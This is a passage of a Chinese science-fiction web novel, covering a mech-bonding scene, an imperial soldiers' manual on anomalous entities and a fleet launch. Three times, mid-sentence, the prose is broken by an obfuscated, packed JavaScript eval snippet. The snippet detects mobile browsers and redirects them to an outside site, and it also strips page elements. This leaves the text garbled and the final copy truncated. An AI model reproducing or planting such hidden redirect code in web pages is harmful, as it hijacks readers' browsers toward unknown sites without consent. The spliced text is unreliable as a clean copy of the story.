阿龙迦闻言,心内惊异。在他生前,陈寂从未展现出能够操纵钟山之神的能力。他们曾经一同尝试过许多次,但没有一次,陈寂能够驾驶这具机甲。他死了七年,许多事忽然就变了。 “也许只是故人的鬼魂……”陈寂的声音忽然断了,仿佛意识到自己的失言,“没什么,已经到达实验高度。你的情况不能拖了,开始吧。” 烛龙之首近在咫尺。太大了,在这样的庞然大物前,阿龙迦就仿佛一只蜻蜓停在座头鲸的头上。陈寂解开了束缚他胳膊的束带,他伸出一只手,去触摸烛龙的下巴。 接触到的那一瞬。一股奇怪的感觉在陈寂的心中泛起。眼前的这一幕太协调了,像是有电流忽然贯通,生命之火在虚无中燃起。 神与人合二为一,仿佛《创造亚当》。 在阿龙迦的脑海中,又是一道闪电,擦着古老的苍穹而来。他被拽入绝对的黑暗中,黑暗时而被雷霆照亮。 他站在断崖上,漆黑的海翻起惊涛骇浪。这次一切都很安静,他在黑暗中看海,海水卷起,闪电照亮海浪中那些浮沉的尸首。 苍白的尸首,遍体缠绕着深黑的刻痕,死亡的脸朝向天空。尸首太多了,放眼望去,成千上万,像一株巨树的枝杈般散布。 涛声苍古,海天俱老。 阿龙迦悚然。又是这个场景……和在尼罗的幻觉中一样,那时他几乎死了,瞬息之间,这个场景却在他的心底打开。像一片未解锁的地图向他开放。可他为什么总是看见这个世界?在特型000的精神影响中,这一切像鬼魂般卷土重来。 世界…世界…他看着这片海,扭头过去,他的背后是无穷无尽的荒原。荒原上雾气涌动。一个阴影般的想法在阿龙迦的心底扎了根。 如果说这里最像什么,那当然是最像一个精神世界,属于他自己的“自有世界”。 可是他是人类,人类怎么会有精神之境?!人类连特殊精神器官都没有,精神场弱得近乎于无,怎么可能构造出一整个自有世界? 他的心底狠狠地一动,尼罗的声音幽幽的,仿佛从深井中浮起,“你对你自己,也一无所知。你是我们……新生的孩子啊!” 可能么?可能么?太荒谬了吧?他的心跳如擂鼓。 他活了二十八年,还死了一次……突然有人跟他说你的生活是错的!你的想法观念你做过所有的事都是错的!连你站的位置都错了!错了错了都错了……所以他也许真的是个怪物。可为什么没有人发现?为什么…… “龙雷!”陈寂的声音像一柄刀锋破开黑暗,挤入他的脑海,“回神!” 阿龙迦忽然从那无限的黑暗空间中抽身,眼前映入真实的场景,陈寂紧紧地握住他的手臂,“接触时间太长了!松手!” 他这才发现,不知不觉中,他用了惊人的力去抵住烛龙的体表,不肯松手!他的手臂有如生铁。 他迅速放手,却忽然发现他落手的那一块区域滚烫的惊人,痛感迟了一秒才涌来。 阿龙迦抬起头,一种不好的预感出现在他心底。他的手臂上突兀地泛起鸡皮疙瘩。 他慢慢地抬起视线,去看那具沉睡的龙首。灯带的照耀下,那双紧闭的龙瞳居然已经无声地睁开,一直以来,在阿龙迦视觉的死角,它都在死寂之中冷冷地凝视! 阿龙迦的背后忽然凉了下去。他居然不知道特型000-钟山之神已经注视了多久。 “不可思议……”陈寂顺着他的目光,也发现了钟山之神的变化,他长久地沉默了,在心底轻声叹息,“果然,天意如此!甚至契合到能令特型000突然自发启动么……” 警报声骤然大作。 阿龙迦的余光中,玻璃幕墙后面那些空无一人的实验室和监控台,忽然之间,不知哪扇门开了,人潮一涌而入。隔着玻璃都能看见人影幢幢,忙乱地奔走。特型000看似无人监管,一直只是宁静地沉睡,可其实一直以来它都被无比严密地监控着,背后盯着它的目光成百上千,成千上万! “请注意,请注意!特型000-钟山之神已无视安全锁自发苏醒!一级警报已触发!请观察室中的人员不要再与它进行任何形式的接触,迅速撤出!” 严肃的人声从广播中响起,环绕整个观察室。 阿龙迦移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126977|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不开视线,他陷入了和这古神之躯的僵持中。龙瞳巨大,是一种灰尘蒙蒙的暗红色,太近了,阿龙迦在那双巨烛般的双眼中,看见了自己全身的影子,像被烛火照亮的镜面,火光流淌。 良久,巨龙缓慢地眨了一下双眼。它摇晃了一下头颅,鬃毛如重锦波浪,仿佛刚从长久的沉睡中醒来,而后毫无预兆地张开血盆大口,朝阿龙迦俯冲下来! 千钧一发之际,阿龙迦就要急退。然而他的双腿都被捆住了,他退无可退!他死死地仰起头,想要看清这次的死亡。一道影子却忽然而至,挡在了他的身前。 陈寂伸出手,像他刚才那样去抚摸特型000的下巴,轻声说:“够了。这不是敌人。” 他安抚特型000的架势简直像在安抚一只宠物,可是天地之大谁能把古神之躯当做宠物?如果有谁相信这样就能制止发狂的烛龙那简直是个天大的笑话!可是偏偏烛龙就这么停住了,那双灰蒙蒙的瞳子凝视着陈寂,慢慢地不动了。 “你……为什么它会……” “为什么它会听我的?”陈寂笑了,笑容疲倦,“也许只是故人的鬼魂在庇佑我。” 这是一个玩笑,这当然只是一个玩笑。 但那一刻,陈寂的心底却有残破的画面闪回一瞬。华丽到极点的白帝山堂,加冕之日,漆黑的人群团团包围住他,圈中,只有他一个人,每个人都在笑,每个人都在狞笑嘲笑疯狂大笑,而他手里没有刀,也没有剑,他死死地咬牙,倔犟地站着,只是不低头! 时光一分一秒地过去,漆黑的愤怒和绝望就要吞噬他,忽然,一道利剑般的阳光破开人群。白帝山的穹顶,天开了。狂肆的能点燃世界的吼声中,某个人就是驾驶着这样的一具机甲击碎白帝山的天幕降临。狂龙从高天里探头下来,目光如雷霆大海下降,那个人从龙首上跳下来,他背着刀和剑,披挂着满身的武器,对着这间华贵古老的殿堂大吼,说:恭迎新帝陛下! 然后他踩着那些吓倒在地的权贵而来,流露出一个孩子般狡黠的笑容,对他挤眉弄眼:陈寂,我们走!我偷了烛龙出来,他们都留不住你! 只是那一个瞬间的事,往事像火星般倏尔吹灭。皇帝的心中再一次沉寂下去,就像这么多年来的每一次一样。他放声说话,“可以解除警报了!事态已经控制住。” …… 玻璃幕墙后 阿龙迦摘下检测精神泛波动值的软帽。研究人员对他点点头,“偏移度42%,还在持续下降。特型000的精神影响起作用了。” “陛下,”研究人员站起身,对陈寂一礼,“我的建议是将病患转入病情监控室,持续观察三天以上,如果他的情况稳定,就算初步脱离危险。” 陈寂颔首。“就这么办吧。” 他看向阿龙迦,“七天后,是我们正式起航的日子。希望你尽早恢复。” “我尽量。”阿龙迦点点头。 “容我打扰一下……这位小兄弟,根据我们的观测显示,在你和特型000的短暂接触后,直接导致了它的苏醒,是这样吗?”研究员推了推眼镜。 “是这样。” “那我们基本可以确定了,”研究员语气有了一丝波动,“陛下!我们找到了第二适格者!特型000-钟山之神将会再次迎来它的驾驶员!” 陈寂定定地站着,什么都没说。他撂下一句“早日康复”就推门而出,只留下阿龙迦和研究员,以及他背后的许许多多其他研究员面面相对。阿龙迦心底一凉,对面人头涌动,每个人的眼中都冒着精光,盯着他的眼神仿佛群狼环伺,而他是一块新鲜的猪肋排。他缓缓地打了一个寒战。 “龙雷是吧?”眼镜研究员的镜片上反射出刺眼的光芒,嘴角绽放出一个邪肆的笑容,“好名字!我们所有人都记住你了!” 直到阿龙迦离开了老远,那个声音还在监控台中回荡,“龙雷!记得多来光顾啊!!!” 18. 18 行动指导手册 启航倒计时四天 恒星级主舰Ⅳ号训练室 阿龙迦和大卫相对,两双眼睛紧紧地盯着彼此,两人都像豹子那样缓缓地移动,踏出的脚步结成一个完满的圆。 一滴汗水从大卫的眼角滚下,生理刺激让他不由得用力眨眼。 他眼皮还来不及张开,一道闪电般的蓝光带着利啸扑面。锐利得像是烙在了他的视网膜上。大卫迅速矮身,剑风擦着他的头顶扫过,那是阿龙迦的右手剑,居然用出了长枪般的一刺。大卫横剑封在胸前,阿龙迦果然没有任何停滞就罩顶下劈,两柄剑在空中架住,都是等离子体剑,一色的荧蓝色光刃,相击时等离子体流高度不稳定,溅起火星,发出可怕的嗡鸣。 荧蓝的光照亮大卫的脸,高温烧得他脸皮发烫,太近了,可阿龙迦还在下压! 阿龙迦用冷兵器时双手双剑,换成离子武器居然就改为单手,大卫这才明白这人的力气有多可怕。他以单手压得大卫直不起身,可大卫再退就要跪下去了,他的后槽牙死死地咬紧,额角落汗,光刃却仍被压向他的喉咙,透过光刃的蓝色,他看见阿龙迦面上居然有一分心不在焉! “我不打了!不打了不打了…”大卫牙间一口气泄掉,“这姿势我怎么打,鲤鱼打挺?不过你偷袭,这把也不能算你赢!” “没问题。”阿龙迦笑了笑,“那我今天的战绩就是十七胜一平。” 大卫闻言更是泄气,他坐倒在地,满脸是汗,此时颇有些枯槁的意思。 “我说哥啊,你到底是哪个石头里蹦出来的?我好歹也在军校拿了十四年连冠,年年都拿大区第一,你也没比我小太多吧,怎么从没听过你这一号英雄啊?哪一路的诸侯哪一路的兵啊?帝国后备军年年都去边缘星域招人,那边的军校也有赛区,就你这身手,名字早该传到君临了吧?” “年幼的时候,体弱多病呗。”阿龙迦岿然不动,“没参加,没考试。” “你?体弱多病?!” 几天前这么说,大卫也许还会相信,刚见面的第一眼,阿龙迦确实是枯瘦和营养不良的形象,可不知道为什么,今天再看,他已经说不上“枯瘦”了,顶多算“瘦削”。有点蓬勃向上的意思了,还隐约有点抽条。难道是因为这几天他每天吃饭都像猛虎下山?还是因为他体能锻炼的强度不像人?可这才几天,也太快了吧? “嗯。我之前是个乞丐,在荒星捡垃圾为生。” 大卫闻言愣了一愣,摸了摸鼻子,阿龙迦这么坦诚相告,他不知道说什么了。捡垃圾吃,怪不得他之前如此干抽。可人家一个捡垃圾的,饱饭都没吃过几顿,看到好饭就跟眼睛发绿似的,能单手把你帝都军区第一压得坐下,那还不说明人家是什么样的天才么? 唉,那帝国前元帅就那么厉害么?才教了几个月就教破天去了。 大卫猛搓自己的脸,没注意已经把心声说出了口。阿龙迦听到,只是一声低笑。 “走吧!时间到了别墨迹,去吃饭。”阿龙迦伸手,把这个二十岁的大孩子拎起来,不知道叶妮薇这个弟弟是怎么教出来的,姐姐从小就像花丛中漫步的猛虎,弟弟却有股清澈的愚蠢。 “走走走。”说到吃饭,大卫又劲儿劲儿起来,容光焕发,一把拉住阿龙迦的手窜起身,“吃饭!” 恒星级主舰和城市一样大,食堂不下上百个,可总食堂只有一个,这里的花样多,食材好,军人多数都在总食堂用餐。 近来总食堂也成了他俩的必经之地。顺带一提,虽然名义上阿龙迦是皇帝御下亲卫的护卫长,但陈寂对他似乎是放养的意思,并没有让他真的接手护卫诸多机密,他现在有“名”无“实”,更像一个走了家长关系被罩了的后辈,被陈寂给了个名头放在能看到的地方。 陈寂的护卫名为护卫,其实更像某种代为他手脚的小班直,都是心腹之人,放出去后是要去龙旗舰或者星舰联盟做高层领袖的,显然他“龙雷”是没有理由在里面掺和一脚的。所以自从他从病房中提前出来,每日就混迹在普通军人之间,没有说要天天跟着陈寂后头打转。 这么些天,他们没有接到陈寂任何形式的命令或指示,甚至不用跟在皇帝身边,这何尝不是某种形式的放逐。阿龙迦回头瞟了一眼,大卫这小子满脸回家般的喜悦飘进食堂,和他一起被放逐的就是这小子了,监视他们的耶罗真如在前几天就消失无踪,可大卫似乎浑然未觉。 阿龙迦怀疑,在他之前,大卫和他起的作用是一样的,一个并不接触冰面之下那些真正机密的吉祥物,武力值足够能打,叶妮薇希望大卫进入护卫队是想磨炼他,可在皇帝看来也许他只是在帮朋友带孩子。 总食堂足足有七层。他们来到了军部人员众多的第三层,一眼望去上百个窗口,每个窗口都是机器配给,分量完全一致的菜品摆得整齐。 “吃什么?” “标准餐。”大卫还没来得及哀嚎又吃标准餐,就听见阿龙迦的声音,“三份。” 标准餐并不标准,或者说军中的“标准”高的吓人。阿龙迦和大卫拿着托盘,找了桌子坐下,揭开保温膜一看,六个菜,有四个菜都是珍稀食材,这指的是这食材不来自于恒星级主舰内部的自循环系统,而是被“运输”上来的。 “额……这鱼,这是鱼肉吧?”大卫含糊不清地说,“怎么这么粘牙啊?” “这不是鱼肉。”阿龙迦冷静地说,他吃饭的架势并不狂放,看那风度根本看不出来一份标准餐已经消失在了他嘴里,“这是罗夫塔巨蜥肉。高密度高蛋白,它的肉自己会分泌粘液,窗口上写着的。” “这你都能注意到?怎么这么难咽,呕……”大卫的声音被疯狂的咳嗽掩住。 等大卫终于喘过气来,再抬头阿龙迦已经正襟危坐,盘子叠得整整齐齐,一共三份,分毫不剩。 “你吃完了?”大卫张大了嘴,有饭粒掉出来。 “吃完了。”阿龙迦点头。 大卫身上那种野马撂蹄子的不服劲又起来了,埋头苦吃,忽地又抬起头来,在个人终端上点点划划,“我传给你了,你没事的话就看看这个,《帝国军人行动指导手册》。很重要的,起码要熟记60%,在上战场前会由人工智能统一考察,不过的话你连战场都上不了。本来每个人参军的前几天就会发放,统一背诵,但你情况特殊,你还没看过这个吧?” 阿龙迦在自己的个人终端上操作,这个终端几天前才发放给他,一片虚拟的光幕投映在他的虹膜上,信息一行行滚动。 《帝国军人行动指导手册》几个大字一个个砸入他眼帘。白底黑字,一股无言的肃穆油然而起。大卫担心他没看过这个就上战场,可是哪怕死了一次,隔了多少年,阿龙迦对这些信息还是记忆犹新。 那份文件按照他的念头向下滚动。 《帝国军人行动指导手册》 【序言】 向每位和异常战斗的同胞致敬! 和异常的战斗中,如果没有严密的应对方案,一个小小的疏忽都可能会导致全军覆没。以下是一些您应牢记的规则,这些规则已被先行者们验证为正确的,严谨的,明智的。在和异常的战场上,请您严格按照规则行动。 1.当您身处战场中,请随时牢记人权公约。 2.一切行动优先级,以人权公约为先。 当受到的命令和人权公约相悖时,您有权拒绝并反抗下令者,此时一切行为都不会被视为暴行。 3.人权公约: 当达摩克利斯最终判定<污染阈值时,永远以撤离帝国公民为第一目标。若被最终程序判定为见死不救,您将以“反人类罪”被起诉至最高军事法庭; 当达摩克利斯最终判定>污染阈值时,您全部的努力已被最终程序认可,请迅速离开该行星表面,此地已经不再安全,开始向异土转变,行星级武器将接过战场。重申,为避免波及,请迅速离开行星表面! 4.实体是人类无法对抗的,它们包括生命存在,也包括非生命存在,请不要主观判定一个存在是否是实体。届时您个人终端上的警报会提示您。 5.当警报响起时,这意味着在您三百米为半径的圆周内有数量大于等于一的实体存在。若您此时处于未穿戴机甲的状态,请迅速进入机甲内!请迅速进入机甲内! 6.机甲对精神影响有一定程度的削弱。但这不包括对特殊实体的免疫。 所有实体都具有一定的精神影响和现实扭曲性,当您看到了明显不合理的存在,或者感受到记忆中有明显矛盾的部分,请您对自己施加积极的心理暗示,这些都是虚假的,您只是产生了暂时的幻觉。 每具机甲内部的紧急药物舱中,都为您配置了一支强效镇静剂,和一支神经细胞抑制剂,请您谨慎使用。 7.请尽量保证,您在任何时候都处于人数≥3的团体中,并每半小时和队友核对总程序生成的随机口令,若出现未知口令,或者有您无法想起到底是怎么加入的队友,而您个人终端的警报并未响起,请迅速通过您的个人频道报告总程序。 请不要将您的行为告诉任何人,也不要露出异样,总程序会迅速调遣人员来援助您。 8.不要离开机甲。不要离开机甲。不要离开机甲。队友不会让您离开机甲,让您离开机甲的不是队友。 9.在90%的情况下,您遇见的实体都会是异兽(见S-001号实体),异兽可以考虑战斗击杀。除异兽外的实体,请您谨慎对待。若遇到其它实体,在保证公民安全撤离的情况下,根据所有经验计算出的综合建议是逃离。 10.若您因任何原因误入异土,如果是已知编号的异土,请您严格按照指导行动;若为未知异土,请您尽可能为后人留下信息和记号,从此刻开始,本指导手册中的一切规则将不再适用,祝您好运。向您致以最崇高的敬意,人类的后人会永远记住您。 11.感谢您为全人类的付出,达摩克利斯最终判定程序永远注视着您! 【向每位以血肉之躯对抗异常的人类致敬!向长达三千年的黑夜中的所有赴死者致敬!人类永垂不朽。】 阿龙迦专注地扫完了每一行文字,那些曾经背诵过无数次的文字,像一股热流漫过他的胸膛,上千年来,人类和异常对抗的经验,总结起来,就只有这么短短的十条。 每一条都并不那么绝对,每一条都并不那么正确,可是只是总结这样的规则出来,每一个字上就都晕着浓厚的鲜血。 他继续往下看: 【目录】 1.实体 1.1S001-S099号实体档案 1.2A001-A099号实体档案 1.3B001-B999号实体档案 1.4C001-C999号实体档案 2.异土 2.1甲子-甲亥区异土 2.2乙子-乙亥区异土 2.3丙子-丙亥区异土 …… 2.9壬子-壬亥区异土 2.10癸子-癸亥区异土 目录后面就是页数众多的档案。实体档案就有上百页,信息繁多如海,阿龙迦粗略地一翻,目光捕捉到了许多再熟悉不过的实体,有些最重要的实体在他眼中仿佛标了红。 【S001号实体:“折射”】: 此类实体的另一个名字为“异兽”。 S001号实体的数量,似乎占所有实体的90%以上。 此异常的本质疑似为某种不可检测的有界场,在该有界场内,一切生物、非生物的性状和外貌特征,会进行一定程度的折射。具体表现为,处在该场内的存在,将随机获得场内其它存在的性状片段,这个过程被称为“剪切”。 实例1(附录像): 被空投在已污染死区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126978|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行星表面的死刑犯。据影像记录,一小时后,实验目标感到不适。表现为坐立不安,烦躁抓挠。三小时后,实验目标脸孔上突兀长出玉兰花雄蕊,腹部长出六对节肢动物肢体。五小时后,实验目标完全变态,头部完全生长为玉兰花,下半身蜕变为成虫。已丧失个体神志。据无人机探查,实验目标东偏北37度1950米处,存在一只巨型昆虫,正东方向3030米处,存在一株高17米的玉兰树。 (附基因片段检测) 当实验目标外表转变完全后,相应基因片段随即在其DNA中检测到。 (附研究人员录音) “(语气激动)他的DNA太……我的天,我都不知道这还算不算DNA!太粗糙了,简直像暴力拼接而成的……天,有明显‘剪切’的痕迹……” 此有界场会在污染度>10%的区域出现,据统计,出现的时、空间完全随机。不符合任何已知分布。 *附录:已知异兽行成的另一方式,是个体的污染度跨过临界点。此过程不需要场的存在,似乎在污染者体内会瞬间行成小型场,随机获得性状片段完成畸变。 【A001号实体:遮天的青铜之翼】 似乎是异常污染有翼类飞行生物诞生的族群,特征为鳞羽披落,血肉干枯,逐渐僵尸化,同时骨骼转变为类青铜的未知质地。视觉器官萎缩退化,然而并不影响A001的飞行导航,似乎存在未知感官能令实体感知外界。 无差别攻击一切非异常的生命体。 当A001作为“族群”时,在半径十公里的范围内,一旦数量超过阈值,会引发群体异象“禁空”,从概念上禁止除实体外一切物体的飞行行为。同时在异象范围内造成精神打击,已记录的打击有强烈致幻,影响神经递质受体引起持续性抑郁,影响激素分泌造成极度喜怒等等。 【A013号实体:“我”亲爱的礼服小熊】 实体为大小不一,颜色不一,穿着丝绸礼服,打红色领结的毛绒玩具熊。由受到污染的布偶熊转化而来。有几率突兀出现在污染扩大的战场上。 目标有一定生命行为,且具有“拥抱”的本性。会“拥抱”目标视线范围内一切生命体,具体表现为以类似“空间移动”的方式,出现在生命体的肩膀上,并拥抱生命体的头颅。被礼服小熊拥抱后,在小于0.01毫秒的时间内,生命体将被转化为名为“我”的污染实体。 “我”是附属于A013的非独立实体,编号为A013-1。A013-1在转化完成的瞬间,生命体躯壳内的血肉会以未知方式掏空,并填满棉花类填充物。骨骼和关节则会突兀地消失,取代这些的是尼龙类缝合线。A013-1的转化过程无法以任何寻常手段抵挡,防弹衣或普通甲胄甚至高级合金装备,都无法影响布偶熊的拥抱。已知唯一能够延缓“拥抱”转化的方法,是佩戴同属于异常的“高危”及以上机甲,血肉层将对布偶熊的影响达成有效缓解。 A013有制造“我”军团的倾向,并表现出对每一个“我”的珍藏和爱护。不同A013实体完成拥抱,并瞬移至另一生命体的时间间隔不等,为10s到30s之间。当“我”的数量超过20时,A013瞬移的时间缩短,达到统一的10s;当“我”的数量缩减到历史最高人数的30%时,会激怒A-013实体,转化间隔锐减为3s。 A013-1“我”作为人类的记忆会有极小程度的保留,但无条件服从A-013的指挥,这包括无情地攻击人类。 …… 再往后,是异土的档案, 当一个地方污染完全,就会形成异土,这是个大小固定的区域,域中的现实极度扭曲。许多底层规则与现实相反,如果不知道一个异土的“规则”,人类几乎不可能走得出来。 异土的档案都十分简洁,这是因为许多异土都只有外部观测记录,进去的人,能再走出来的很少很少。只能总结出寥寥的几条规则。 例如: 【甲子一号异土:天墟幽灵座】 甲子一号异土呈现出的外貌,是旧文明“苍白王庭”的残骸。 以物理手段定位时,无论以何种观测方式,它都位于苍白王庭的旧址,第二星环“天墟星座”区域。 但是当使用探测器小车进入时,却直接穿过了这片残骸,探测器的信号始终无断开,然而在接触到残骸表面的一瞬间,小车位置已处在天墟座的另一侧。小车直接“穿透”了它,它就像一个幽灵图块一样悬在宇宙中,有猜测它已二维化,但它的“形体”在各种物理手段的检测中却都没有异常,经确认,它是存在的。 从帝国1035年开始,有人汇报进入了“旧文明的残骸”,通过遗留的痕迹,辨别为苍白王庭废墟。 值得注意的是,这些人口述自己进入该异土的位置完全不同,有人在第二星环的星门跳跃中进入这里,有人正在通过王庭界港,但他们都提到“经过了一道边界”,再回神的时候已经身在异土。甲子一号异土从此被确认是可进入的,它的入口并不在原地,而是随机出现在宇宙任何有“边界”性质的地方。 它似乎是游荡在现实之下,或者是某个不可思议的维度中。 附规则: 1.如果误入,王庭残骸的边缘地带是安全的。不要靠近王庭核心。 2.天应该是亮的。但每隔一段时间的天黑也属正常,天黑是十分短暂的,一切很快就会过去。天黑时,请您就地寻找掩体,最好待在室内或者地下。 3.永远不要提起“大熄灭”。 …… 阿龙迦的思绪被大卫打断,“这么认真?看来考核没问题了。考核不是让你一字不漏地背,而是重要规则和条例一定不能错,不过没事,我给你画重点,轻轻松松!” “轻轻松松?”阿龙迦抬头,“听起来你上战场也轻轻松松了?走吧,训练室!” 19. 19 起航 起航倒计时0天 阿龙迦站在数层之高的栈道上,面前是转为透明的巨大观测窗。 从近星轨道上遥望君临,便如随时要坠落下去。 窗子里是微光松明的人造星球。此刻,无数舰船正离开这星球,向第一近地轨道驶来,轨迹漫天,如同万千之鸟。 这幕盛大的起航已经持续了整整一天。实际上,这还只是在完成“列队”的环节,真正的起航还未开始。但所有人都心知那该是怎样震撼的场面。 恒星级主舰在巡洋舰和突击舰的伴飞下缓缓驶来,像是鲲鹏的巨翅上托起渺小的鹰群,引擎的光耀眼夺目,仿佛无数轮寂静的超新星爆发,巨大的影子像海一样笼罩它们周围的舰船。 这些恒星级主舰的型号差异分明,有些是锋锐到泛着寒气的科技侧巨舰-“死星级”主舰,有的是神秘侧巨物“深渊级”主舰,还有造型低调的“方舟级”母舰、“时钟级”主舰、“星桥级”相阵舰群……一支支涂装醒目的工程舰队行驶在它们之间,在夜色中轻巧地滑入阵中。这一幕的背景里,漫天的战列巡洋舰则悄无声息地入队,像群鸦归巢,或者振刀入鞘。 阿龙迦所在的主舰处在一个非常微妙的位置。并不是被拱卫在中心,而是在一个看似不起眼的角落。 随着星舰到位,阵列逐渐成型,阿龙迦窥到了一星其中的奥秘,这个位置不是阵眼也不是要害,却是“观测”的绝佳之地,能无声监测全场,一切情况尽收眼底。 “居然选择这么不起眼的星舰么…”阿龙迦在心底低声说,“你如今的‘太阳之舟’!” 阿龙迦所在的这具没有什么特殊之处的恒星级主舰,就是理论上来说皇帝的“御座”。 不可想象之尊贵,不可揣测之恐怖,历代的人们给皇帝的座驾取了一个名字:太阳之舟。在许多美好的想象中,那是能横渡此世和彼世,乃至永世不落的太阳船,在古老的母星神话中,这是太阳神照亮天空的座驾,周行天宇,照世如渊。 这不是指某一个特殊型号的舰船,而是皇帝在哪里,哪艘舰船就是“太阳之舟”。 显然陈寂选的座驾十分内敛,没有过多的兵力保护,没有明显的资源过剩,这只是一架普通的恒星级主舰。 星河般蜿蜒的星舰阵列还在阿龙迦瞳中明灭,光火如呼吸,背后忽然有人叫他: “龙雷,陛下召集护卫归队了!” …… 阿龙迦悄悄地进入内室,这里已经站满了人,排成一丝不苟的队形,皇帝和每个人低声交谈。 室内的人们穿着都十分低调,不是军装,也不再是圣庭夜宴上黑衣蓝氅的制服,而是简单的便服,乍一看像主舰上往来的技术人员。可阿龙迦知道这些人都是护卫中各个小组的核心人物,人太多了,哪怕他已经牢记了这几天有过一面之缘的脸孔,可此刻这间屋子里陌生的脸却更多。 阿龙迦默默地聆听。皇帝对每个人的命令都不同,却都有一番详细的谈话和问询,领命之人欠身就迅速离开,像影子一样散布出去。 护卫们一个个地离去,在这些人里,他看见了高髻的耶罗银和魁伟的耶罗真如。直到整间会客厅都快空了,皇帝来到了他的面前,点点头,“你能这么迅速地恢复归队,我很欣慰。听说这几天你一直和大卫待在训练室中,训练得如何?” “还好。只是尽力保持训练强度,保证身体状态在战场上不会拖后腿。” “战场上?”陈寂笑笑,“我以为你重伤初愈,会希望留在我的随身队伍中。你的战场经验不足,也许留在星舰上观摩学习战争策略,是更明智的选择。” 阿龙迦闻言,明白陈寂是希望他这次留在舰船上,将他向战略型人才培养。 可他当然希望上战场。一来他打了太多太多的仗,战场已经成为了他的一部分,导致他绝不可能在这种规模的战争中眼看着万军奋战而他只是退居别人身后,二来他重生后目标不定,本来是想要发泄心中怨愤,搞明白陈寂到底为什么如此决绝就要杀他,心头一口血气撑着他不远万里参军来到帝都,可现在他发现自己的身份成谜,他看见的那些诡异画面究竟是什么?他活了二十八年怎么就忽然不是人类了?细想真是令人认知动摇。相比起来,细究陈寂当初是为什么非要杀他又有什么意思?说到底只是一个人的心绪于他又有何加焉? 不就是狡兔死,走狗烹么?说来这样刻骨的仇恨,在宇宙和异常的大幕下他们也只是两粒微尘。 在阿龙迦的心底,再退一步,还有那个让人脊背发凉的终极问题……他明明被烧成了飞灰,虽然遗憾可万事皆休,为什么还有再睁眼的一日?还在别人的躯壳里?死而复生,这是违逆一切常识的大恐怖。他身上的诸多谜团,仿佛是一只隐形的大手在背后提线推动。可想要搞明白,势必要接触异常,去到实体之间,那他只能在战场寻找答案。 阿龙迦当即低头表态,“陛下,请允许我自请加入前线军队!我明白我的战场经验不足,可我仍希望能够在实战中锻炼自己,我参军,就是为了和异常战斗,我保证我的身体状况不会拖队伍后退。您调我入任何一支队伍都行,无论何种行动任务,我都绝无怨言。” 皇帝的目光如有实质。像是一面审视他的古镜,映出了他此刻的所有神情和作态,陈寂的神情莫测如海,如果真是刚刚参军的少年,顶着这样的目光势必头皮发麻。 良久,陈寂却忽然松口: “既然如此,你的选择会被帝国记住。每一个踏上战场的战士,帝国公民都会永远感谢你的牺牲和付出。去找耶罗银进行详细调度吧,她手下统御着几只下属中队,此次负责在特定战场执行救援任务。” “是。谢陛下!”阿龙迦也转身离开。 “等等。”他还没离开多远,背后的皇帝忽然叫住他,“叫大卫跟你一起去吧!都是年轻人,战场上,总是需要同伴的。” …… “太阳之舟”恒星级主舰,穹顶大厅 上万人在大厅中昂首立正,清晰地以一个个作战单位划分,每个作战单位都控制在中队的大小,一百人左右。 阿龙迦前不久才被临时调入所在的中队,他甚至没来得及通知大卫,此时他站在队尾,只能远远地看着最前方整队的军官,军官们不苟言笑地发令,都是高阶军官,看肩上的装饰军衔估计高得吓人。 穹顶大厅的巨幕上悬挂着星舰联盟的万舰旗,阿龙迦稍有讶异,就算不挂帝国的烈火雄狮旗,也该挂陈寂的冰雪之狮旗——这是属于陈寂个人的旗帜,因为他是私生子登基,所以只配使用异色的雄狮旗。 挂星舰联盟而不是雪狮旗,难道这支太空舰不属于龙旗舰么?可是皇帝本人都在这里,那么龙旗舰的舰队又在哪里? 前方陆陆续续地传来号令,“报数!” 响亮的报数声从四面响起,传到阿龙迦已经是本队的最后一个,阿龙迦猛地立正敬礼,“一百零三!报数完毕!” 报数几乎在同一时间停下。场面迅速寂静下来,有威严的少将踏上高台,眉眼深邃如石刻,目光如鹰隼,开始点到。 “……2-13中队!” “到!” “2-17中队!” “到!” “3-15中队!” “3-15已到齐!” 点到阿龙迦这支作战单位时,站在最前面的队长高声答到。是个响亮的男声,听声音年纪不大,有股蓬勃的力量。 3-15中队。阿龙迦记下了这个编号,今后不短的时间内,他都将会属于这个团体。 点到持续一刻钟才完毕。 少将以手刀敬礼,姿势中蓄着虎豹般的威势,头微微扬起,看向上方:“星舰联盟117师,集合完毕,请求起航!请首长指示。” 阿龙迦摹地抬头,穹顶大厅上无数栈桥纵横而起,最高最高的地方,是一道玻璃般的栈桥,桥上站着军装的男人。穹顶大厅的穹顶是透明的,男人的背后,就是浩瀚无穷的宇宙。黑!太黑了,星光细得像纱。 皇帝在高天里俯瞰,大厅里上万的人列队形,在他眼里想必都有如蚂蚁,看不清他的表情,陈寂只是点了点头: “请求批准。即刻开始起航。” 少将斩钉截铁地下令:“全人类第五次远航之战,现在开始。起航!” “起航!” “起航!” “起航!……” 这个声音像是传到了无穷远。 宇宙不能传声,可是这声音却仿佛穿透了主舰,扩散到了邻近的成千上万艘星舰上,不可计数的星舰在宇宙中同时苏醒,无数的曲速引擎在同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 